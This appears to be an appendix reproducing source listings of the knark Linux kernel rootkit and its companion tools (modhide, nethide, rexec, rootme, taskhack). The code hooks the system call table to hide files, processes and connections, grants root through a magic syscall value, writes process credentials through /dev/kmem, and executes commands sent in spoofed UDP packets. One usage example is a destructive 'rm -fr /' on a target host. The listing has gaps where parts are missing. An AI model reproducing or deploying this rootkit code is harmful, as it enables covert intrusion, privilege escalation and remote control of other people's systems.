    entry = current->files->fd[fd]->f_dentry; 
    inode = entry->d_inode; 
     
    switch(arg) 
    { 
      case KNARK_HIDE_FILE: 
 ret = knark_hide_file(inode, entry); 
 break; 
  
      case KNARK_UNHIDE_FILE: 
 ret = knark_unhide_file(inode); 
 break; 
  
      default: 
 return -EINVAL; 
    } 




int knark_add_nethide(char *hidestr) 
{ 
    struct nethide_list *nl = knark_nethide_list; 
     
    if(nl->nl_hidestr) 
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    { 
 while(nl->next) 
     nl = nl->next; 
  
 nl->next = kmalloc(sizeof(struct nethide_list), GFP_KERNEL); 
 if(nl->next == NULL) return -1; 
 nl = nl->next; 
    } 
     
    nl->next = NULL; 
    nl->nl_hidestr = hidestr; 
     






    struct nethide_list *tmp, *nl = knark_nethide_list; 
     
    do { 
 if(nl->nl_hidestr) 
 { 
     putname(nl->nl_hidestr); 
     nl->nl_hidestr = NULL; 
 } 
  
 nl = nl->next; 
    } while(nl); 
     
    nl = knark_nethide_list->next; 
    while(nl) 
    { 
 tmp = nl->next; 
 kfree(nl); 
 nl = tmp; 
    } 
    knark_nethide_list->next = NULL; 
     




int knark_read(int fd, char *buf, size_t count) 
{ 
    int ret; 
    char *p1, *p2; 
    struct inode *dinode; 
    struct nethide_list *nl = knark_nethide_list; 
     
    ret = (*original_read)(fd, buf, count); 
    if(ret <= 0 || nl->nl_hidestr == NULL) return ret; 
     
    dinode = current->files->fd[fd]->f_dentry->d_inode; 
     
    if(MAJOR(dinode->i_dev) || MINOR(dinode->i_dev) != 1) 
 return ret; 
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    if(dinode->i_ino == PROC_NET_TCP || dinode->i_ino == PROC_NET_UDP) 
    { 
 do { 
     while( (p1 = p2 = (char *) strstr(buf, nl->nl_hidestr)) ) 
     { 
  *p1 =~ *p1; 
   
  while(*p1 != '\n' && p1 > buf) 
      p1--; 
  if(*p1 == '\n') 
      p1++; 
   
  while(*p2 != '\n' && p2 < buf + ret - 1) 
      p2++; 
  if(*p2 == '\n') 
      p2++; 
      
  while(p2 < buf + ret) 
      *(p1++) = *(p2++); 
   
  ret -= p2 - p1; 
     } 
     nl = nl->next; 
 } while(nl && nl->nl_hidestr); 
    } 
     






    struct redirect_list *tmp, *rl = knark_redirect_list; 
     
    do { 
 if(rl->rl_er.er_from) 
 { 
     putname(rl->rl_er.er_from); 




     putname(rl->rl_er.er_to); 
     rl->rl_er.er_to = NULL; 
 } 
  
 rl = rl->next; 
    } while(rl); 
     
    rl = knark_redirect_list->next; 
    while(rl) 
    { 
 tmp = rl->next; 
 kfree(rl); 
 rl = tmp; 
    } 
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    knark_redirect_list->next = NULL; 
     




int knark_add_redirect(struct exec_redirect *er) 
{ 
    struct redirect_list *rl = knark_redirect_list; 
     
    if(knark_strcmp(er->er_from, knark_redirect_path(er->er_from)) || 
       !knark_strcmp(er->er_from, er->er_to)) 
 return -1; 
     
    if(rl->rl_er.er_from) 
    { 
 while(rl->next) 
     rl = rl->next; 
  
 rl->next = kmalloc(sizeof(struct redirect_list), GFP_KERNEL); 
 if(rl->next == NULL) return -1; 
 rl = rl->next; 
    } 
     
    rl->next = NULL; 
    rl->rl_er.er_from = er->er_from; 
    rl->rl_er.er_to = er->er_to; 
     




char *knark_redirect_path(char *path) 
{ 
    struct redirect_list *rl = knark_redirect_list; 
 
    do { 
 if(rl->rl_er.er_from && !knark_strcmp(path, rl->rl_er.er_from)) 
     return rl->rl_er.er_to; 
  
 rl = rl->next; 
    } while(rl); 
     




int knark_settimeofday(struct timeval *tv, struct timezone *tz) 
{ 
    char *hidestr; 
    struct exec_redirect er, er_user; 
     
    switch((int)tv) 
    { 
      case KNARK_GIMME_ROOT: 
 current->uid = current->euid = current->suid = current->fsuid = 
0; 
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      case KNARK_ADD_REDIRECT: 
 copy_from_user((void *)&er_user, (void *)tz, sizeof(struct 
exec_redirect)); 
 er.er_from = getname(er_user.er_from); 
 er.er_to = getname(er_user.er_to); 
 if(IS_ERR(er.er_from) || IS_ERR(er.er_to)) 








      case KNARK_ADD_NETHIDE: 
 hidestr = getname((char *)tz); 
 if(IS_ERR(hidestr)) 




      case KNARK_CLEAR_NETHIDES: 
 knark_clear_nethides(); 
 break; 
     
      default: 
 return (*original_settimeofday)(tv, tz); 
    } 
    return 0; 
} 
     
 
int knark_execve(struct pt_regs regs) 
{ 
    int error; 
    char *filename; 
     
    lock_kernel(); 
    filename = getname((char *)regs.ebx); 
    error = PTR_ERR(filename); 
    if(IS_ERR(filename)) 
 goto out; 
     
    error = do_execve(knark_redirect_path(filename), (char **)regs.ecx, 
        (char **)regs.edx, &regs); 
     
    if(error == 0) 
 current->flags &= ~PF_DTRACE; 
    putname(filename); 
out: 
    unlock_kernel(); 





#define BUF_LIMIT (PAGE_SIZE - 80) 
int knark_read_pids(char *buf, char **start, off_t offset, int len, 
      int unused) 
{ 
    struct task_struct *task; 
     
    if( (task = knark_find_task(1)) == NULL) 
 return 0; 
     
    len = sprintf(buf, " EUID PID\tCOMMAND\n"); 
     
    do { 
 if(task->flags & PF_INVISIBLE) 
     len += sprintf(buf+len, "%5d %d\t%s\n", 
      task->euid, task->pid, task->comm); 
 task = task->next_task; 
    } while(task->pid != 1 && len < BUF_LIMIT); 
     




int knark_read_files(char *buf, char **start, off_t offset, int len, 
      int unsused) 
{ 
    int n, i; 
     
    len = sprintf(buf, "HIDDEN FILES\n"); 
     
    for(n = 0; n < kfs->f_ndevs; n++) 
 for(i = 0; i < kfs->f_dev[n]->d_nfiles; i++) 
     len += sprintf(buf+len, "%s\n", kfs->f_dev[n]->d_name[i]); 
     




int knark_read_redirects(char *buf, char **start, off_t offset, int 
len, 
    int unised) 
{ 
    int n, tmp=0; 
    struct redirect_list *rl = knark_redirect_list; 
     
    len = sprintf(buf, "REDIRECT FROM                 REDIRECT TO\n"); 
    if(rl->rl_er.er_from == NULL) 
 return len; 
     
    while(rl) 
    { 
 len += tmp = sprintf(buf+len, "%s", rl->rl_er.er_from); 
 n = 30 - tmp; 
 memset(buf+len, ' ', n); 
 len += n; 
 len += sprintf(buf+len, "%s\n", rl->rl_er.er_to); 
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 rl = rl->next; 
  
    } 
     




int knark_read_nethides(char *buf, char **start, off_t offset, int len, 
   int unused) 
{ 
    struct nethide_list *nl = knark_nethide_list; 
     
    len = sprintf(buf, "HIDDEN STRINGS (without the quotes)\n");    
    while(nl && nl->nl_hidestr) 
    { 
 len += sprintf(buf+len, "\"%s\"\n", nl->nl_hidestr); 
 nl = nl->next; 
    } 
     




int knark_read_author(char *buf, char **start, off_t offset, int len, 
       int unused) 
{ 
    len = sprintf(buf, 
  "* * * * * * * * * * * * * * * * * * * * * * * * * * * * * 
*\n" 
  "* knark %s by Creed @ #hack.se 1999 <creed@sekure.net> 
*\n" 
  "*                                                         
*\n" 
  "*    This program may NOT be used in an illegal way       
*\n" 
         "*          or to cause damage of any kind.                
*\n" 
         "* * * * * * * * * * * * * * * * * * * * * * * * * * * * 
* *\n" 
  ,KNARK_VERSION); 
  





ssize_t knark_verify_rexec_fops_read(struct file *file, char *buf, 
         size_t len, loff_t *offset) 
{ 
    if(file->f_pos == strlen("fikadags?\n")) 
       return 0; 
     
    len = sprintf(buf, "fikadags?\n"); 
    file->f_pos = len; 
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int knark_write_verify_rexec(struct file *file, const char *buf, u_long 
count, 
        void *data) 
{ 
    int num, n; 
    char buff[16]; 
     
    n = count<16? count:16; 
    knark_bcopy((char *)buf, buff, n); 
    if(buff[n-1] == '\n') 
 buff[n-1] = '\0'; 
    else 
 buff[n] = '\0'; 
     
    num = knark_atoi(buff); 
    if(num >= 0 && num <= 16) 
 verify_rexec = num; 
     
    file->f_pos = count; 
 




int knark_read_verify_rexec(char *buf, char **start, off_t offset, int 
len, 
       int unused) 
{ 
    len = sprintf(buf, 
    "Knark rexec verify-packet must be one of:\n" 
    " 0   ICMP_NET_UNREACH\n" 
    " 1   ICMP_HOST_UNREACH\n" 
    " 2   ICMP_PROT_UNREACH\n" 
    " 3   ICMP_FRAG_NEEDED\n" 
    " 4   ICMP_FRAG_NEEDED\n" 
    " 5   ICMP_SR_FAILED\n" 
    " 6   ICMP_NET_UNKNOWN\n" 
    " 7   ICMP_HOST_ISOLATED\n" 
    " 8   ICMP_HOST_ISOLATED\n" 
    " 9   ICMP_NET_ANO\n" 
    " 10  ICMP_HOST_ANO\n" 
    " 11  ICMP_NET_UNR_TOS\n" 
    " 12  ICMP_HOST_UNR_TOS\n" 
    " 13  ICMP_PKT_FILTERED\n" 
    " 14  ICMP_PREC_VIOLATION\n" 
    " 15  ICMP_PREC_VIOLATION\n" 
    " 16  (don't verify)\n" 
    "\n" 
    "Currently set to: %d\n", 
    verify_rexec); 
     






int knark_execve_userprogram(char *path, char **argv, char **envp, int 
secret) 
{ 
    static char *path_argv[2]; 
    static char *def_envp[] = { "HOME=/", "TERM=linux",  
      
"PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/local/sbin:" 
    "/usr/bin/X11", NULL 
    }; 
    static struct execve_args args; 
    pid_t pid; 
     
    if(path) args.path = path; 
    else return -1; 
     
    if(argv) args.argv = argv; 
    else { 
 path_argv[0] = path; 
 path_argv[1] = NULL; 
    } 
     
    if(envp) args.envp = envp; 
    else args.envp = def_envp; 
     
    pid = kernel_thread(knark_do_exec_userprogram, (void *)&args, 
CLONE_FS); 
    if(pid == -1) 
 return -1; 
     
    if(secret) knark_hide_process(pid); 




int knark_do_exec_userprogram(void *data) 
{ 
    int i; 
    struct fs_struct *fs; 
    struct execve_args *args = (struct execve_args *) data; 
     
    lock_kernel(); 
     
    exit_fs(current); 
    fs = init_task.fs; 
    current->fs = fs; 
    atomic_inc(&fs->count); 
     
    unlock_kernel(); 
     
    for(i = 0; i < current->files->max_fds; i++) 
 if(current->files->fd[i]) close(i); 
     
    current->uid = current->euid = current->fsuid = 0; 
    cap_set_full(current->cap_inheritable); 
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    cap_set_full(current->cap_effective); 
     
    set_fs(KERNEL_DS); 
 
    if(execve(args->path, args->argv, args->envp) < 0) 
 return -1; 
 




int knark_udp_rcv(struct sk_buff *skb, unsigned short len) 
{ 
    int i, datalen; 
    struct udphdr *uh = (struct udphdr *)(skb->data + 48); 
    char *buf, *data = skb->data + 56; 
    static char *argv[16]; 
    char space_str[2]; 
     
    if(uh->source != ntohs(53) || 
       uh->dest != ntohs(53) || 
 *(u_long *)data != UDP_REXEC_USERPROGRAM) 
 goto bad; 
    data += 4; 
    datalen = ntohs(uh->len) - sizeof(struct udphdr) - sizeof(u_long); 
     
    buf = kmalloc(datalen+1, GFP_KERNEL); 
    if(buf == NULL) 
 goto bad; 
     
    knark_bcopy(data, buf, datalen); 
    buf[datalen] = '\0'; 
     
    space_str[0] = SPACE_REPLACEMENT; 
    space_str[1] = 0; 
    for(i = 0; i < 16 && (argv[i] = strtok(i? NULL:buf, space_str)) != 
NULL; 
 i++); 
    argv[i] = NULL; 
 
    knark_execve_userprogram(argv[0], argv, NULL, 1); 
#ifdef FUCKY_REXEC_VERIFY 
    if(verify_rexec >= 0 && verify_rexec < 16) 
 icmp_send(skb, ICMP_DEST_UNREACH, verify_rexec, 0); 
#endif /*FUCKY_REXEC_VERIFY*/ 
     
    return 0; 
bad: 






    inet_add_protocol(&knark_udp_protocol); 
    original_udp_protocol = knark_udp_protocol.next; 
    inet_del_protocol(original_udp_protocol); 
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    kfs = kmalloc(sizeof(struct knark_fs_struct), GFP_KERNEL); 
    if(kfs == NULL) goto error; 
    memset((void *)kfs, 0, sizeof(struct knark_fs_struct)); 
 
    knark_redirect_list = kmalloc(sizeof(struct redirect_list), 
GFP_KERNEL); 
    if(knark_redirect_list == NULL) goto error; 
    memset((void *)knark_redirect_list, 0, sizeof(struct 
redirect_list)); 
     
    knark_nethide_list = kmalloc(sizeof(struct nethide_list), 
         GFP_KERNEL); 
    if(knark_nethide_list == NULL) goto error; 
    memset((void *)knark_nethide_list, 0, sizeof(struct nethide_list)); 
     
    proc_register(&proc_root, &knark_dir); 
    knark_ino = knark_dir.low_ino; 
    proc_register(&knark_dir, &knark_pids); 
    proc_register(&knark_dir, &knark_files); 
    proc_register(&knark_dir, &knark_author); 
    proc_register(&knark_dir, &knark_redirects); 
    proc_register(&knark_dir, &knark_nethides); 
#ifdef FUCKY_REXEC_VERIFY 
    proc_register(&knark_dir, &knark_verify_rexec); 
#endif /*FUCKY_REXEC_VERIFY*/ 
     
    original_getdents = sys_call_table[SYS_getdents]; 
    sys_call_table[SYS_getdents] = knark_getdents; 
     
    original_kill = sys_call_table[SYS_kill]; 
    sys_call_table[SYS_kill] = knark_kill; 
     
    original_read = sys_call_table[SYS_read]; 
    sys_call_table[SYS_read] = knark_read; 
     
    original_ioctl = sys_call_table[SYS_ioctl]; 
    sys_call_table[SYS_ioctl] = knark_ioctl; 
     
    original_fork = sys_call_table[SYS_fork]; 
    sys_call_table[SYS_fork] = knark_fork; 
     
    original_clone = sys_call_table[SYS_clone]; 
    sys_call_table[SYS_clone] = knark_clone; 
     
    original_settimeofday = sys_call_table[SYS_settimeofday]; 
    sys_call_table[SYS_settimeofday] = knark_settimeofday; 
 
    original_execve = sys_call_table[SYS_execve]; 
    sys_call_table[SYS_execve] = knark_execve; 
 
    return 0; 
error: 







    int i, n; 
 
    inet_add_protocol(original_udp_protocol); 
    inet_del_protocol(&knark_udp_protocol); 
     
    proc_unregister(&knark_dir, knark_pids.low_ino); 
    proc_unregister(&knark_dir, knark_files.low_ino); 
    proc_unregister(&knark_dir, knark_author.low_ino); 
    proc_unregister(&knark_dir, knark_redirects.low_ino); 
    proc_unregister(&knark_dir, knark_nethides.low_ino); 
#ifdef FUCKY_REXEC_VERIFY 
    proc_unregister(&knark_dir, knark_verify_rexec.low_ino); 
#endif /*FUCKY_REXEC_VERIFY*/ 
    proc_unregister(&proc_root, knark_dir.low_ino); 
     
    sys_call_table[SYS_getdents] = original_getdents; 
    sys_call_table[SYS_kill] = original_kill; 
    sys_call_table[SYS_read] = original_read; 
    sys_call_table[SYS_ioctl] = original_ioctl; 
    sys_call_table[SYS_fork] = original_fork; 
    sys_call_table[SYS_clone] = original_clone; 
    sys_call_table[SYS_settimeofday] = original_settimeofday; 
    sys_call_table[SYS_execve] = original_execve; 
     
    knark_clear_redirects(); 
    kfree(knark_redirect_list); 
     
    knark_clear_nethides(); 
    kfree(knark_nethide_list); 
     
    for(i = 0; i < kfs->f_ndevs; i++) 
    { 
 kfree(kfs->f_dev[i]); 
 for(n = 0; kfs->f_dev[i]->d_name; n++) 
     kfree(kfs->f_dev[i]->d_name); 
    } 





C.13:  Knark.h 
 
/* 
 * knark.h, part of the knark package 
 * (c) Creed @ #hack.se 1999 <creed@sekure.net> 
 * Ported to 2.4 2001 by cyberwinds@hotmail.com 
 *  
 * Some parts of this can be changed, but things might break so I 
advice you 
 * to leave it as it is. 







// to conform to the kernel version. 
#define KNARK_VERSION "v2.4.3" 
 
#define MODULE_NAME "knark" 
 
 
#define MAX_SECRET_FILES 12 




# ifdef __KERNEL__ 
#  define knark_debug(fmt, args...) printk(fmt, ## args) 
# else 
#  define knark_debug(fmt, args...) fprintf(stderr, fmt, ## args) 
# endif 
#else 




#define SIGINVISIBLE 31 
#define SIGVISIBLE 32 
 
 
/* ioctl stuff */ 
#define KNARK_ELITE_CMD 0xfffffffe 
 
#define KNARK_HIDE_FILE 1 
#define KNARK_UNHIDE_FILE 2 
 
 
/* knark_settimeofday */ 
#define KNARK_GIMME_ROOT 9000 
 
#define KNARK_ADD_REDIRECT 9001 
#define KNARK_CLEAR_REDIRECTS 9002 
 
#define KNARK_ADD_NETHIDE 9003 




    char *er_from; 




/* udp-wrapper */ 
#define UDP_REXEC_USERPROGRAM 0x0deadbee 
#define UDP_REXEC_SRCPORT 53 
#define UDP_REXEC_DSTPORT 53 
 
#define SPACE_REPLACEMENT 254 
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/* Ok, time for some self-promotion again. I'm hopeless. */ 




C.14:  Modhide.c 
 
/* 
 * generic module hidder, for 2.2.x kernels. 
 * 
 * by kossak (kossak@hackers-pt.org || http://www.hackers-
pt.org/kossak) 
 * Enhanced by cyberwinds@hotmail.com 
 * 
 * This module hides the last module installed. With little mind work 
you can 
 * put it to selectivly hide any module from the list. 
 * 
 * insmod'ing this module will allways return an error, something like 
device 
 * or resource busy, or whatever, meaning the module will not stay 
installed. 
 * Run lsmod and see if it done any good. If not, see below, and try 
until you  
 * suceed. If you dont, then the machine has a weird compiler that I 
never seen. 
 * It will suceed on 99% of all intel boxes running 2.2.x kernels. 
 *  
 * The module is expected not to crash when it gets the wrong register, 
but 
 * then again, it could set fire to your machine, who knows... 
 * 
 * Idea shamelessly stolen from plaguez's itf, as seen on Phrack 52.  
 * The thing about this on 2.2.x is that kernel module symbol 
information is  
 * also referenced by this pointer, so this hides all of the stuff :) 
 * 
 * DISCLAIMER: If you use this for the wrong purposes, your skin will 
fall off, 
 *             you'll only have sex with ugly women, and you'll be 
raped in 
 *             jail by homicidal maniacs. 
 * 
 * Anyway, enjoy :) 
 * 


















int init_module(void) { 
 
/* 
 *  if at first you dont suceed, try: 
 *  %eax, %ebx, %ecx, %edx, %edi, %esi, %ebp, %esp  
 *  I cant make this automaticly, because I'll fuck up the registers If 
I do  
 *  any calculus here. 
 */ 
  register struct module *mp asm("%ebx"); 
  struct module *p; 
 
  // check modname 
  if(modname == 0x0){ 
    // If you really want to use this module, do it right way! 
thinkhard 
    printk("Unknown module name. Try insmod modhide.o modname.\n"); 
    return -1; 
  } 
 
   
  /* 
    if (mp->init == &init_module) // is it the right register?  
    if (mp->next) // and is there any module besides this one?  
    mp->next = mp->next->next; // cool, lets hide it :)  
  */ 
 
  if (mp->init == &init_module) /* is it the right register? */ 
    if (mp->next){ /* and is there any module besides this one? */ 
      p = mp->next; 
      while(p && strcmp(p->name, modname)){ 
 mp = p; 
 p=p->next; 
      }  
      if(p) //found matching module 
 mp->next = p->next; 
    } 
  
  return -1; /* the end. simple heh? */ 
} 
/* EOF */ 
 
C.15:  Nethide.c 
 
/* 
 * nethide.c, part of the knark package 
 * Linux 2.1-2.2 lkm trojan user program 
 * (c) Creed @ #hack.se 1999 <creed@sekure.net> 
 *  
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 * This program may NOT be used in an illegal way, 
 * or to cause damage of any kind. 
 *  










void usage(const char *progname) 
{ 
    fprintf(stderr, 
     "Usage:\n" 
     "\t%s <string>\n" 
            "\t%s -c (clear nethide-list)\n" 
     "ex: %s \":ABCD\" (will hide connections to/from port 
0xABCD)\n", 
     progname, progname, progname); 




int main(int argc, char *argv[]) 
{ 
    char *hidestr; 
     
    author_banner("nethide.c"); 
     
    if(argc != 2 || !strlen(argv[1])) 
 usage(argv[0]); 
     
    if(!strcmp(argv[1], "-c")) 
    { 
 if(settimeofday((struct timeval *)KNARK_CLEAR_NETHIDES, 
   (struct timezone *)NULL) == -1) 
 { 
     perror("settimeofday"); 
     fprintf(stderr, "Have you really loaded knark.o?!\n"); 
     exit(-1); 
 } 
 printf("Done. Nethide list cleared.\n"); 
 exit(0); 
    } 
     
    hidestr = argv[1]; 
     
    if(settimeofday((struct timeval *)KNARK_ADD_NETHIDE, 
      (struct timezone *)hidestr) == -1) 
    { 
 perror("settimeofday"); 
 fprintf(stderr, "Have you really loaded knark.o?!\n"); 
 exit(-1); 
    } 
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    printf("Done: \"%s\" is now removed\n", hidestr); 




C.16:  Rexec.c 
 
/* 
 * rexec.c, part of the knark package 
 * (c) Creed @ #hack.se 1999 <creed@sekure.net> 
 * 
 * This program may NOT be used in an illegal way, 
 * or to cause damage of any kind. 
 * 




















#define UDP_H sizeof(struct udphdr) 
#define IP_H sizeof(struct ip) 
 
 
void usage(const char *progname) 
{ 
    fprintf(stderr, 
     "Usage:\n" 
     "\t%s <src_addr> <dst_addr> <command> [args ...]\n" 
     "ex: %s www.microsoft.com 192.168.1.77 /bin/rm -fr /\n", 
     progname, progname); 






    int s, on = 1; 
     
    if( (s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1) 
 perror("SOCK_RAW"), exit(-1); 
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    if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) == -1) 
 perror("IP_HDRINCL"), exit(-1); 
     




struct in_addr resolv(char *hostname) 
{ 
    struct in_addr in; 
    struct hostent *hp; 
     
    if( (in.s_addr = inet_addr(hostname)) == -1) 
    { 
 if( (hp = gethostbyname(hostname)) ) 
     bcopy(hp->h_addr, &in.s_addr, hp->h_length); 
 else { 
     herror("Can't resolv hostname"); 
     exit(-1); 
 } 
    } 
 




int udp_send_rexec(int s, 
     struct in_addr *src, 
     struct in_addr *dst, 
     u_char *buf, 
     u_short datalen) 
{ 
    u_char *packet, *data, *p; 
    struct ip *ip; 
    struct udphdr *udp; 
    u_short psize; 
    struct sockaddr_in sin; 
     
    psize = IP_H + UDP_H + sizeof(u_long) + datalen; 
    if( (packet = calloc(1, psize)) == NULL) 
 perror("calloc"), exit(-1); 
     
    ip     = (struct ip     *) packet; 
    udp    = (struct udphdr *) (packet + IP_H); 
    data   = (u_char        *) (packet + IP_H + UDP_H); 
     
    srand(time(NULL)); 
     
    bzero(&sin, sizeof(sin)); 
    sin.sin_family = AF_INET; 
    sin.sin_addr.s_addr = dst->s_addr; 
    sin.sin_port = htons(UDP_REXEC_DSTPORT); 
 
    ip->ip_hl         = IP_H >> 2; 
    ip->ip_v          = IPVERSION; 
    ip->ip_len        = htons(psize); 
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    ip->ip_id         = ~rand()&0xffff; 
    ip->ip_ttl        = 63; 
    ip->ip_p          = IPPROTO_UDP; 
    ip->ip_src.s_addr = src->s_addr; 
    ip->ip_dst.s_addr = dst->s_addr; 
     
    udp->source = htons(UDP_REXEC_SRCPORT); 
    udp->dest   = htons(UDP_REXEC_DSTPORT); 
    udp->len    = htons(UDP_H + sizeof(u_long) + datalen); 
     
    p = data; 
    *(u_long *)p = UDP_REXEC_USERPROGRAM; 
    p += sizeof(u_long); 
    memcpy(p, buf, datalen); 
     
    if(sendto(s, packet, psize, 0, (struct sockaddr *)&sin, 
sizeof(sin)) == -1) 
 perror("sendto"), exit(-1); 
     




int main(int argc, char *argv[]) 
{ 
    int s, i, len; 
    u_char cmd[IP_MSS]; 
    struct in_addr src, dst; 
     
    author_banner("rexec.c"); 
     
    if(argc < 4) 
 usage(argv[0]); 
     
    src = resolv(argv[1]); 
    dst = resolv(argv[2]); 
     
    s = open_raw_sock(); 
     
    len = snprintf(cmd, IP_MSS, "%s", argv[3]); 
    for(i = 4; i < argc && len < IP_MSS; i++) 
 len += snprintf(cmd+len, IP_MSS-len, "%c%s", SPACE_REPLACEMENT, 
   argv[i]); 
    cmd[len] = '\0'; 
     
    udp_send_rexec(s, &src, &dst, cmd, len); 
    for(i = 0; cmd[i]; i++) 
 if(cmd[i] == SPACE_REPLACEMENT) 
     cmd[i] = ' '; 
    printf("Done. exec \"%s\" requested on %s from %s\n", 
    cmd, argv[2], argv[1]); 
     





C.17:  Rootme.c 
 
/* 
 * rootme.c, part of the knark package 
 * Linux 2.1-2.2 lkm trojan user program 
 * (c) Creed @ #hack.se 1999 <creed@sekure.net> 
 *  
 * This program may NOT be used in an illegal way, 
 * or to cause damage of any kind. 
 *  











void usage(const char *progname) 
{ 
    fprintf(stderr, 
     "Usage:\n" 
     "\t%s <path> [args ...]\n" 
     "ex: %s /bin/sh\n", 
     progname, progname); 




int main(int argc, char *argv[]) 
{ 
    author_banner("rootme.c"); 
     
    if(argc < 2) 
 usage(argv[0]); 
     
    if(settimeofday((struct timeval *)KNARK_GIMME_ROOT, 
      (struct timezone *)NULL) == -1) 
    { 
 perror("settimeofday"); 
 fprintf(stderr, "Have you really loaded knark.o?!\n"); 
 exit(-1); 
    } 
     
    printf("Do you feel lucky today, hax0r?\n"); 
    if(execv(argv[1], argv+1) == -1) 
 perror("execv"), exit(-1); 






C.18:  Taskhack.c 
 
/* 
 * taskhack.c, part of the knark package 
 * (c) Creed @ #hack.se 1999 <creed@sekure.net> 
 *  
 * This program may NOT be used in an illegal way, 
 * or to cause damage of any kind. 
 *  

















extern void exit(int ); 
extern int atoi(const char *); 
extern unsigned long int strtoul(const char *, char **, int ); 
 
void die(char *reason) 
{ 
    perror(reason); 




void usage(const char *progname) 
{ 
    fprintf(stderr, 
     "Usage:\n" 
     "%s  -show pid          shows id's of process pid\n" 
     "%s  -someid=newid pid  sets process pid's someid to newid\n" 
     "                              newid defaults to 0\n" 
     "someid is one of: uid, euid, suid, fsuid, gid, egid, sgid, 
fsgid\n" 
     "alluid or allgid can be used to specify all *uid's or 
*gid's\n" 
     "ex: %s -euid=1000 1\n", 
     progname, progname, progname); 




int main(int argc, char *argv[]) 
{ 
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    int kmem_fd, c; 
    char *p, buf[1024]; 
    FILE *ksyms_fp; 
    unsigned long task_addr, kstat_addr = 0; 
    struct task_struct task; 
    int uflag = 0, eflag = 0, sflag = 0, fflag = 0; 
    int Gflag = 0, Eflag = 0, Sflag = 0, Fflag = 0; 
    int lflag = 0; 
    uid_t uid = 0, euid = 0, suid = 0, fsuid = 0; 
    gid_t gid = 0, egid = 0, sgid = 0, fsgid = 0; 
    pid_t pid; 
     
    const char *optstr = "lauesfAGESF"; 
    struct option options[] =  
    { 
 {"show", 0, 0, 'l'}, 
 {"alluid", 2, 0, 'a'}, 
 {"uid", 2, 0, 'u'}, 
 {"euid", 2, 0, 'e'}, 
 {"suid", 2, 0, 's'}, 
 {"fsuid", 2, 0, 'f'}, 
 {"allgid", 2, 0, 'A'}, 
 {"gid", 2, 0, 'G'}, 
 {"egid", 2, 0, 'E'}, 
 {"sgid", 2, 0, 'S'}, 
 {"fsgid", 2, 0, 'F'}, 
 {0, 0, 0, 0} 
    }; 
     
    author_banner("taskhack.c"); 
     
    while( (c = getopt_long_only(argc, argv, optstr, options, 
     NULL)) != EOF) 
 switch(c) 
    { 




      case 'a': 
 uflag++, eflag++, sflag++, fflag++; 
 if(optarg) uid = euid = suid = fsuid = atoi(optarg); 
 break; 
  
      case 'u': 
 uflag++; 
 if(optarg) uid = atoi(optarg); 
 break; 
  
      case 'e': 
 eflag++; 
 if(optarg) euid = atoi(optarg); 
 break; 
  
      case 's': 
 sflag++; 




      case 'f': 
 fflag++; 
 if(optarg) fsuid = atoi(optarg); 
 break; 
  
      case 'A': 
 Gflag++, Eflag++, Sflag++, Fflag++; 
 if(optarg) gid = egid = sgid = fsgid = atoi(optarg); 
 break; 
  
      case 'G': 
 Gflag++; 
 if(optarg) gid = atoi(optarg); 
 break; 
  
      case 'E': 
 Eflag++; 
 if(optarg) egid = atoi(optarg); 
 break; 
  
      case 'S': 
 Sflag++; 
 if(optarg) sgid = atoi(optarg); 
 break; 
  
      case 'F': 
 Fflag++; 
 if(optarg) fsgid = atoi(optarg); 
 break; 
  
      default: 
 usage(argv[0]); 
    } 
     
    if((uflag || eflag || sflag || fflag || 
 Gflag || Eflag || Sflag || Fflag) == lflag) 
 usage(argv[0]); 
     
    argc -= optind; 
    if(argc <= 0) fprintf(stderr, "No pid specified\n"); 
    if(argc <= 0 || argc > 1) usage(argv[0]); 
     
    if(!(pid = atoi(argv[optind]))) 
    { 
 fprintf(stderr, "Invalid pid specified\n"); 
 usage(argv[0]); 
    } 
     
    if( (ksyms_fp = fopen("/proc/ksyms", "r")) == NULL) 
 die("Can't fopen /proc/ksyms"); 
     
    while(fgets(buf, sizeof(buf), ksyms_fp))  
    { 
 if(!strstr(buf, "kstat")) 
     continue; 
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 if( (p = strchr(buf, ' ')) == NULL) 
 { 
     fprintf(stderr, "Error in /proc/ksyms\n"); 
     exit(-1); 
 } 
  
 *p = '\0'; 
 if( (kstat_addr = strtoul(buf, NULL, 16)) == 0) 
 { 
     fprintf(stderr, "%s isn't a hex number\n", buf); 




    } 
     
    fclose(ksyms_fp); 
     
    if(!kstat_addr) 
    { 
 fprintf(stderr, "kstat not found in /proc/ksyms\n"); 
 exit(-1); 
    } 
     
    if( (kmem_fd = open("/dev/kmem", O_RDWR)) == -1) 
 die("Can't open /dev/kmem"); 
     
    if(lseek(kmem_fd, 
      kstat_addr - (PIDHASH_SZ - 1) * sizeof(struct task_struct 
*), 
      SEEK_SET) == -1) 
 die("lseek"); 
     
    if(read(kmem_fd, 
     &task_addr, 
     sizeof(struct task_struct *)) == -1) 
 die("read"); 
     
    if(lseek(kmem_fd, 
      (off_t)task_addr, 
      SEEK_SET) == -1) 
 die("lseek"); 
     
    if(read(kmem_fd, 
     &task, 
     sizeof(struct task_struct)) == -1) 
 die("read"); 
     
    if(task.pid != 1) 
    { 
 fprintf(stderr, 
  "Init pid not found (this could be a program error)\n"); 
 exit(-1); 
    } 
  
    do { 
 210
 task_addr = (unsigned long) task.next_task; 
 if(lseek(kmem_fd, 
   (off_t)task_addr, 
   SEEK_SET) == -1) 
     die("lseek"); 
  
 if(read(kmem_fd, &task, sizeof(struct task_struct)) == -1) 
     die("read"); 
  
 if(task.pid == pid) 
     break; 
    } while(task.pid != 1); 
     
    if(task.pid != pid) 
    { 
 fprintf(stderr, "Pid %d not found\n", pid); 
 exit(-1); 
    } 
     
    if(!lflag) 
    { 
 if(uflag) task.uid = uid; 
 if(eflag) task.euid = euid; 
 if(sflag) task.suid = suid; 
 if(fflag) task.fsuid = fsuid; 
 if(Gflag) task.gid = gid; 
 if(Eflag) task.egid = egid; 
 if(Sflag) task.sgid = sgid; 
 if(Fflag) task.fsgid = fsgid; 
  
 if(lseek(kmem_fd, 
   (off_t)task_addr + (off_t)&task.uid - (off_t)&task, 
   SEEK_SET) == -1) 
     die("lseek"); 
  
 if(write(kmem_fd, 
   &task.uid, 
   4 * sizeof(uid_t) + 4 * sizeof(gid_t)) == -1) 
     die("write"); 
    } 
     
    close(kmem_fd); 
    printf("Id's for pid %d are now:\n" 
    "uid\t= %d\n" 
    "euid\t= %d\n" 
